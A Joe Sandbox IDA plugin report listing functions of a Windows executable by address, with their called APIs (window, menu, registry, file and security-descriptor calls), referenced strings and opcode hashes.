Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CurrentDirectory$AttributesFilewcscat$wcscpy
String ID: *.*
API String ID: 4125642244-438819550
Opcode ID: 1b6dd8a96d898a21e7a73211ee0a4e3b10aba06561d9a5e90c26a3235988e558
Instruction ID: 9cd13a93449aba83d519ee3ce3d4f7a5976997281f0c6183cd1102d8c9215f3b
Opcode Fuzzy Hash: 1b6dd8a96d898a21e7a73211ee0a4e3b10aba06561d9a5e90c26a3235988e558
Instruction Fuzzy Hash: 19818032618A8296EF20DF19D8546BD33A0FB46BC5F884076EA4E87B99DF7CE544C700

Function 00007FF697BBA40C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 188windowsleepCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF697BBA4B8
SetMenuItemInfoW.USER32 ref: 00007FF697BBA4F0
Sleep.KERNEL32 ref: 00007FF697BBA503
GetMenuItemCount.USER32 ref: 00007FF697BBA549
GetMenuItemID.USER32 ref: 00007FF697BBA566
GetMenuItemID.USER32 ref: 00007FF697BBA58D
GetMenuItemID.USER32 ref: 00007FF697BBA5CB
CheckMenuRadioItem.USER32 ref: 00007FF697BBA610
GetMenuItemInfoW.USER32 ref: 00007FF697BBA62B
SetMenuItemInfoW.USER32 ref: 00007FF697BBA650

Strings

P, xrefs: 00007FF697BBA432

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep
String ID: P
API String ID: 1460738036-3110715001
Opcode ID: 6e2be1337fb57673dad59794737e60112838fe0b06465b145457b8a8f464ada3
Instruction ID: 5950b4c4c5b9bc81bc34697bf9773d70a14753c1fb9be2acc05b6afcf01da96f
Opcode Fuzzy Hash: 6e2be1337fb57673dad59794737e60112838fe0b06465b145457b8a8f464ada3
Instruction Fuzzy Hash: 4171C136E086828AF7709F2594853BD27A1FB46BC8F5444B1DE4E87689CE7CF946C700

Function 00007FF697BC3268 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 135COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF697BC32C5
LoadStringW.USER32 ref: 00007FF697BC32EB
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF697BC3433
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF697BC344F

Strings

"%s" (%d) : ==> %s:, xrefs: 00007FF697BC3441
^ ERROR , xrefs: 00007FF697BC339F
"%s" (%d) : ==> %s:%s%s, xrefs: 00007FF697BC341A
Error: , xrefs: 00007FF697BC33E1
Line %d (File "%s"):, xrefs: 00007FF697BC3338
Incorrect parameters to object property !, xrefs: 00007FF697BC33B0

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: LoadStringwprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 3297454147-3080491070
Opcode ID: 921b602f5fcb54eacd7a62b3ce9e0f2e08e995aee376e847d7660b2710a32505
Instruction ID: 605e6f2137af0da20622965f401ef9b5fb5586b71f34442b892c9ae47e622614
Opcode Fuzzy Hash: 921b602f5fcb54eacd7a62b3ce9e0f2e08e995aee376e847d7660b2710a32505
Instruction Fuzzy Hash: BE618F32B18A42D6EB20EF65E8455EC6361FB85BC4F8040B2EA4D9769EDF7CE506C740

Function 00007FF697BB74B0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 128windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(000087FFFFFE03FF,00007FF697B8EA7B,?,?,?,?,?,?,?), ref: 00007FF697BB74EA
LoadStringW.USER32 ref: 00007FF697BB7505
GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?), ref: 00007FF697BB751A
LoadStringW.USER32 ref: 00007FF697BB752C
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF697BB766D
MessageBoxW.USER32 ref: 00007FF697BB7685

Strings

Line %d (File "%s"):, xrefs: 00007FF697BB757F
Line %d:, xrefs: 00007FF697BB758D
Error: , xrefs: 00007FF697BB7623
%s (%d) : ==> %s: %s %s, xrefs: 00007FF697BB7650
^ ERROR, xrefs: 00007FF697BB75F2

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: HandleLoadModuleString$Messagewprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 4051287042-2268648507
Opcode ID: 6f60d895e456e1bcae49e483a71499a5f57f9936a6ffa7df15260821f561c8be
Instruction ID: fae087f808e4215084c4d126950bb6335d10c2290dea78282527e6d9cce2c951
Opcode Fuzzy Hash: 6f60d895e456e1bcae49e483a71499a5f57f9936a6ffa7df15260821f561c8be
Instruction Fuzzy Hash: 92517432B18A5291EB20EF64E8854ED6321FF957D4F8010B2E94D9369EDF7CE506D740

Function 00007FF697BBD4AC Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 65sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00007FF697BBD4B9
Sleep.KERNEL32 ref: 00007FF697BBD4D7
EnumThreadWindows.USER32 ref: 00007FF697BBD4FF
FindWindowExW.USER32 ref: 00007FF697BBD528
SetActiveWindow.USER32 ref: 00007FF697BBD54B
SendMessageW.USER32 ref: 00007FF697BBD55F

Part of subcall function 00007FF697BBB5D4: GetWindowThreadProcessId.USER32 ref: 00007FF697BBB608
Part of subcall function 00007FF697BBB5D4: GetCurrentThreadId.KERNEL32 ref: 00007FF697BBB610

SendMessageW.USER32 ref: 00007FF697BBD57F
Sleep.KERNEL32 ref: 00007FF697BBD58A
IsWindow.USER32 ref: 00007FF697BBD597
EndDialog.USER32 ref: 00007FF697BBD5AA

Part of subcall function 00007FF697BBB5D4: GetWindowThreadProcessId.USER32 ref: 00007FF697BBB5F0
Part of subcall function 00007FF697BBB5D4: GetCurrentThreadId.KERNEL32 ref: 00007FF697BBB5F8
Part of subcall function 00007FF697BBB5D4: AttachThreadInput.USER32 ref: 00007FF697BBB61D

Strings

BUTTON, xrefs: 00007FF697BBD51F

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Thread$Window$CurrentMessageProcessSendSleep$ActiveAttachDialogEnumFindInputTimeWindowstime
String ID: BUTTON
API String ID: 3935177441-3405671355
Opcode ID: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
Instruction ID: b926709ce6cf4b9e94d5a6be4987532ad0920fc1e2eaf72ee3e2fc7c486e0798
Opcode Fuzzy Hash: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
Instruction Fuzzy Hash: 5D312939B0960786FB34AF20F8D4B792371EF86BC4F4551B1D90EC66A9DE2CB4859300

Function 00007FF697B415EC Relevance: 18.2, APIs: 12, Instructions: 191timeCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF697B416C8
KillTimer.USER32 ref: 00007FF697B417A3
DestroyAcceleratorTable.USER32 ref: 00007FF697B89AB2

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Destroy$AcceleratorKillTableTimerWindow
String ID:
API String ID: 1974058525-0
Opcode ID: dcc26eb72664b9d1949b187f4fad04aff093ad4780d9238f6c635ec0504560de
Instruction ID: 1c1a564b148bbeaa1bed635842cfac22fb9140f0d56253819688421bce01df93
Opcode Fuzzy Hash: dcc26eb72664b9d1949b187f4fad04aff093ad4780d9238f6c635ec0504560de
Instruction Fuzzy Hash: 17912736A0DA0685EF749F25E49067823A5FF86BC4F5840B1DA4EC7759CE3CF881A750

Function 00007FF697BB2F78 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF697BB2FB1
GetWindowRect.USER32 ref: 00007FF697BB2FCD
MoveWindow.USER32 ref: 00007FF697BB3048
GetDlgItem.USER32 ref: 00007FF697BB3063
GetWindowRect.USER32 ref: 00007FF697BB3078
MoveWindow.USER32 ref: 00007FF697BB30E2
GetDlgItem.USER32 ref: 00007FF697BB30F4
GetWindowRect.USER32 ref: 00007FF697BB3109
MoveWindow.USER32 ref: 00007FF697BB315B
GetDlgItem.USER32 ref: 00007FF697BB3173
MoveWindow.USER32 ref: 00007FF697BB3198
InvalidateRect.USER32 ref: 00007FF697BB31AB

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
Instruction ID: e95001acb9f1f1a0a85e3d75277d905ef6329963a6c490b179402b54445dd257
Opcode Fuzzy Hash: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
Instruction Fuzzy Hash: E4618E76B046418BE728CF6AE44466C7BA2FB89B84F508179DE09D3F58DF3CE9058B00

Function 00007FF697BC4708 Relevance: 17.8, APIs: 3, Strings: 7, Instructions: 339COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32 ref: 00007FF697BC4795
GetDriveTypeW.KERNEL32 ref: 00007FF697BC4A03
wcscpy.LIBCMT ref: 00007FF697BC4AA7

Strings

fixed, xrefs: 00007FF697BC4890
unknown, xrefs: 00007FF697BC498F
ramdisk, xrefs: 00007FF697BC493F
network, xrefs: 00007FF697BC48EC
all, xrefs: 00007FF697BC47A0
cdrom, xrefs: 00007FF697BC47F7
removable, xrefs: 00007FF697BC484A

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: BuffCharDriveLowerTypewcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 1561581874-1000479233
Opcode ID: ce25e8d1a7becc76643e4d1ddee2007e93a86bfe4a34930367856c9c98c70219
Instruction ID: ccbd42f64a7d41382444176ac06d6a69f6e8f3f3a0db05a1e90f1aa1ebe5d8cd
Opcode Fuzzy Hash: ce25e8d1a7becc76643e4d1ddee2007e93a86bfe4a34930367856c9c98c70219
Instruction Fuzzy Hash: BED1E332E1865681EE309F19D540179ABA0FB56BE9F4882B1EA5D937DCDF3CEA458300

Function 00007FF697BAFF44 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 243windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32 ref: 00007FF697BAFFAC
SendMessageTimeoutW.USER32 ref: 00007FF697BB00C8
GetClassNameW.USER32 ref: 00007FF697BB013C
GetDlgCtrlID.USER32 ref: 00007FF697BB0193
GetWindowRect.USER32 ref: 00007FF697BB01B9
GetParent.USER32 ref: 00007FF697BB01D6
ScreenToClient.USER32 ref: 00007FF697BB01E6
GetClassNameW.USER32 ref: 00007FF697BB0281
GetWindowTextW.USER32 ref: 00007FF697BB02C1

Strings

%s%u, xrefs: 00007FF697BB0044

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout
String ID: %s%u
API String ID: 1412819556-679674701
Opcode ID: ec5f86a190bb73f09945e144781202aaf3720bc00edec1e84de13663eea9de37
Instruction ID: d8c08039596c30698f7195f434f1a20e2a3755f3e4dc907eabd4214f02eb0e4a
Opcode Fuzzy Hash: ec5f86a190bb73f09945e144781202aaf3720bc00edec1e84de13663eea9de37
Instruction Fuzzy Hash: FEB1DE72B0968696EB289F26D8846F877A0FB4ABC4F400071DE1D87799DF39F519C700

Function 00007FF697BB176C Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 226COMMON

Download Yara Rule

APIs

GetClassNameW.USER32 ref: 00007FF697BB17DA
GetWindowTextW.USER32 ref: 00007FF697BB1815
CharUpperBuffW.USER32 ref: 00007FF697BB1833
wcsstr.LIBVCRUNTIME ref: 00007FF697BB1866
GetClassNameW.USER32 ref: 00007FF697BB189C
GetWindowTextW.USER32 ref: 00007FF697BB18D0
GetClassNameW.USER32 ref: 00007FF697BB191B
GetClassNameW.USER32 ref: 00007FF697BB1951
GetWindowRect.USER32 ref: 00007FF697BB19CF

Strings

ThumbnailClass, xrefs: 00007FF697BB18A7, 00007FF697BB1926

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpperwcsstr
String ID: ThumbnailClass
API String ID: 4010642439-1241985126
Opcode ID: 0882505c88ed3b00aae6e4629277f07059bb2b253e5c1484f821cf4c8a59efc7
Instruction ID: 8431c5ff1344f9e8e5c68a81c747e409b150e225c4fa650449a45570d78c48ad
Opcode Fuzzy Hash: 0882505c88ed3b00aae6e4629277f07059bb2b253e5c1484f821cf4c8a59efc7
Instruction Fuzzy Hash: 11A18332B0868687EA349F25D4846B9A761FF867C4F408075DE9E83A99DF3DF905CB00

Function 00007FF697B41504 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 163windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(?,?,00000000,?,?,00007FF697B412EF), ref: 00007FF697B899AC
ExtractIconExW.SHELL32 ref: 00007FF697B899CD
LoadImageW.USER32 ref: 00007FF697B899EB
ExtractIconExW.SHELL32 ref: 00007FF697B89A0C
SendMessageW.USER32 ref: 00007FF697B89A2F
DestroyIcon.USER32 ref: 00007FF697B89A3E
SendMessageW.USER32 ref: 00007FF697B89A64
DestroyIcon.USER32 ref: 00007FF697B89A73

Strings

P, xrefs: 00007FF697B899D3

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID: P
API String ID: 1268354404-3110715001
Opcode ID: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
Instruction ID: 28b2dfacf45aecc57c8302f603ffc37763b4dcb209e2bbee39d346a12ddc50ec
Opcode Fuzzy Hash: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
Instruction Fuzzy Hash: 03619F36A09A428AEB34DF25D8406B927A1FF86BD8F144575EE4E8379CDF3CE4409740

Function 00007FF697BC34E4 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF697BC354D
LoadStringW.USER32 ref: 00007FF697BC3571
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF697BC36CB
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF697BC36E7

Strings

"%s" (%d) : ==> %s:, xrefs: 00007FF697BC36D9
Line %d (File "%s"):, xrefs: 00007FF697BC35C0
"%s" (%d) : ==> %s:%s%s, xrefs: 00007FF697BC36B2
Error: , xrefs: 00007FF697BC367B
^ ERROR, xrefs: 00007FF697BC364A

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: LoadStringwprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 3297454147-2391861430
Opcode ID: 31c5b23564cdfe61f8d669abd9ab3ad79c4f4694b43ce296d1458ee3b9400a01
Instruction ID: 02e651d7b368b4f1246c4d1bd46014b91076f9cffc8502922d35309c95d25d70
Opcode Fuzzy Hash: 31c5b23564cdfe61f8d669abd9ab3ad79c4f4694b43ce296d1458ee3b9400a01
Instruction Fuzzy Hash: 0871A432B18A5296EB60DF65E8815ED6321FF817C4F8040B2EA5D8769EDF3CE506C740

Function 00007FF697BAC034 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 124registryshareCOMMON

Download Yara Rule

APIs

WNetAddConnection2W.MPR ref: 00007FF697BAC143
RegConnectRegistryW.ADVAPI32 ref: 00007FF697BAC164
RegOpenKeyExW.ADVAPI32 ref: 00007FF697BAC193
RegQueryValueExW.ADVAPI32 ref: 00007FF697BAC1CD
CLSIDFromString.OLE32 ref: 00007FF697BAC1F4
RegCloseKey.ADVAPI32 ref: 00007FF697BAC203
RegCloseKey.ADVAPI32 ref: 00007FF697BAC20E

Strings

SOFTWARE\Classes\, xrefs: 00007FF697BAC088
\IPC$, xrefs: 00007FF697BAC118
\CLSID, xrefs: 00007FF697BAC0A6

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 3030280669-22481851
Opcode ID: a4a03563eba47bf7a6bc45b00431da315f02e209d49ab1ef43027d618f4c2dd1
Instruction ID: 9c27530faa1320bba8483b756dc05839bdeaebcfb4c40f6dab520cbb620fa15b
Opcode Fuzzy Hash: a4a03563eba47bf7a6bc45b00431da315f02e209d49ab1ef43027d618f4c2dd1
Instruction Fuzzy Hash: EF51C332718A8295EB30EF65E8846ED67A0FB957D4F400071EA4D87AADEF3CD589C740

Function 00007FF697BC3E20 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 97fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32 ref: 00007FF697BC3E61
CreateDirectoryW.KERNEL32 ref: 00007FF697BC3EB2
CreateFileW.KERNEL32 ref: 00007FF697BC3EE4
RemoveDirectoryW.KERNEL32 ref: 00007FF697BC3EF6
DeviceIoControl.KERNEL32 ref: 00007FF697BC3FA5
CloseHandle.KERNEL32 ref: 00007FF697BC3FB2
CloseHandle.KERNEL32 ref: 00007FF697BC3FBD

Strings

\, xrefs: 00007FF697BC3E97
:, xrefs: 00007FF697BC3E9F
\??\%s, xrefs: 00007FF697BC3E79

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove
String ID: :$\$\??\%s
API String ID: 3827137101-3457252023
Opcode ID: c042ec0e4a157b4915e6cbee2efc7bd563a20e0e85c4cf7d435b60959deae5d8
Instruction ID: 7bbe30eed42c66cf59f34e83fbf4c33e24f79b9551ce7ff1b21a6a5f41ca9c4c
Opcode Fuzzy Hash: c042ec0e4a157b4915e6cbee2efc7bd563a20e0e85c4cf7d435b60959deae5d8
Instruction Fuzzy Hash: 2D419C32A1868385EB30AF25E8006FD63A0FF86BD9F544175DA0D83AACDF7CD6468701

Function 00007FF697BAC5FC Relevance: 16.7, APIs: 11, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BACD34: GetUserObjectSecurity.USER32 ref: 00007FF697BACD65
Part of subcall function 00007FF697BACD34: GetLastError.KERNEL32(?,?,?,?,00000000,00007FF697BAC65A), ref: 00007FF697BACD71
Part of subcall function 00007FF697BACD34: GetUserObjectSecurity.USER32 ref: 00007FF697BACD9C

Part of subcall function 00007FF697BACE28: InitializeSecurityDescriptor.ADVAPI32(?,?,00000000,00007FF697BAC66F), ref: 00007FF697BACE4D

GetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF697BAC68B
GetAclInformation.ADVAPI32 ref: 00007FF697BAC6C5
GetLengthSid.ADVAPI32 ref: 00007FF697BAC6D6
GetAce.ADVAPI32 ref: 00007FF697BAC714
AddAce.ADVAPI32 ref: 00007FF697BAC73B
GetLengthSid.ADVAPI32 ref: 00007FF697BAC753
GetLengthSid.ADVAPI32 ref: 00007FF697BAC776
CopySid.ADVAPI32 ref: 00007FF697BAC785
AddAce.ADVAPI32 ref: 00007FF697BAC7CB
SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF697BAC7EE
SetUserObjectSecurity.USER32 ref: 00007FF697BAC803

Memory Dump Source

